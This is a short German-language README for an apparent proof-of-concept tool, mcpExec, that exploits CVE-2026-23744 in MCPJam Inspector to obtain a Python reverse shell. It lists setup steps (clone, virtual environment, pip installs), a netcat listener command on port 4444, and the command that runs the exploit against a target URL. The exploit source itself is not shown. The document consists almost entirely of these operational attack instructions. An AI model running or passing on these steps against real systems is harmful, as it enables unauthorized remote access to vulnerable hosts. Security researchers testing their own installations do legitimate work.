
POC für CVE-2026-23744 für eine Python-Revshell
mcpExec ist ein Tool, das die Sicherheitslücke CVE-2026-23744 ausnutzt, um mithilfe der URL der verwundbaren MCPJam-Inspector-Installation eine Reverse-Shell zu erhalten.
git clone https://github.com/daemoncibsec/mcpExec.git
cd mcpExec
python3 -m venv venv
source venv/bin/activate
pip install rich
pip install argparse
pip install requests
chmod +x mcpExec.py
Zum Verlassen der venv:
deactivate
Öffnen Sie einen Listener, damit der Exploit funktioniert:
nc -nvlp 4444
Dieser Befehl übergibt Ihnen die Reverse-Shell (sofern das betroffene System Python3 installiert hat).
./mcpExec.py http://localhost:6274